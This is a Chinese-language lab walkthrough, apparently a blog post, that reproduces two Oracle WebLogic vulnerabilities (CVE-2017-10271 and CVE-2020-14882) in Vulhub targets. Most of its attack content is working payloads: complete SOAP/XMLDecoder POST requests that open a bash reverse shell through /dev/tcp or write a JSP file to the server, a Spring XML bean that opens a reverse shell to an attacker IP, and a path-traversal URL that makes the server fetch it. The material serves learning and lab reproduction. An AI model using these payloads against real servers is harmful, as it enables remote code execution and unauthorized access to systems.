简介 Oracle WebLogic Server 是一个统一的可扩展平台,专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的 Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。 以下漏洞均通过Vulhub拉取靶场复现
CVE-2017-10271(XMLDecoder反序列化漏洞) 漏洞成因 CVE-2017-10271的漏洞产生原因简单来说就是weblogic的WLS Security组件对外提供的webserver服务调用了XMLDecode去解析了用户传入的XML数据,在解析过程中出现了反序列化漏洞,导致了攻击者可以通过漏洞来达到任意命令执行。
漏洞位于以下路径:/wls-wsat/CoordinatorPortType11 此外还可能位于以下路径,在fuzz时,可以将以下路径加入dirsearch字典
1 2 3 4 5 6 7 8 9 /wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11
来到存在漏洞的路径,先用nc在kali上监听一个端口 通过burp抓包将burp数据包替换为poc的数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 靶子:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/接收反弹shell的ip/21 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
这里靶机和弹shell的机器都用的kali,问题不大,后面分开弄,总之,能够看到shell弹回来了 更改请求体为写入一个jsp文件。 POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 靶机:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 656 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test666.jsp</string> <void method="println"><string> <![CDATA[ <% out.print("test666"); %> ]]> </string> </void> <void method="close"/> </object></java></java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
该jsp为打印一段test666,文件路径为/bea_wls_internal/9j4dqk/war/test666.jsp
CVE-2020-14882(未授权访问) 直接将该路径拼接到URL里面/console/css/%252e%252e%252fconsole.portal 这是未授权访问的页面,少了很多功能 下面通过和CVE-2017-10271相似的方法,也用到了XML解析的方法反弹shell,但是这里是让服务器去访问在攻击机上构造的xml文件,然后达到反弹shell的目的,而不是之前直接在请求包中携带xml内容让服务器解析。
首先在kali上开一个http80的端口,这里有一个注意事项我们需要在test.xml的目录开启web服务,哪里开启服务,哪里就是根目录。 然后在我们的攻击机上桌面创建一个xml文件,内容如下
1 2 3 4 5 6 7 8 9 10 11 <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>/bin/bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/192.168.179.129/1234 0>&1]]></value> </list> </constructor-arg> </bean> </beans>
之后使用nc监听1234端口 然后使用如下payload去访问该xml文件
1 2 http://192.168.179.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.179.129/test.xml")
成功反弹shell